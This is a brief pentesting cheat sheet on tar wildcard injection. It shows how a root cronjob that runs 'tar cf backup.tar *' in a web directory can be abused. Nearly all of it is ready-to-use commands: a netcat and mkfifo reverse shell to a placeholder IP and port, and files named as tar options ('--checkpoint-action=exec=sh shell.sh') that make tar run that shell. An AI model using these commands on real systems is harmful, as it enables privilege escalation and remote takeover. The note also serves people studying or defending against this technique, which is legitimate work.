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Wildcard usage

Leon Juranic has shown it

Another Example

cronjob gets backup data from /var/www/html via tar cf backup.tar *. The reverse shell and the parameters need to be files in this directory to get called by tar and be executed.

echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"

or

echo "mkfifo /tmp/oytqnhq; nc <IP> <PORT> 0</tmp/oytqnhq | /bin/sh >/tmp/oytqnhq 2>&1; rm /tmp/oytqnhq" > /var/www/html/shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"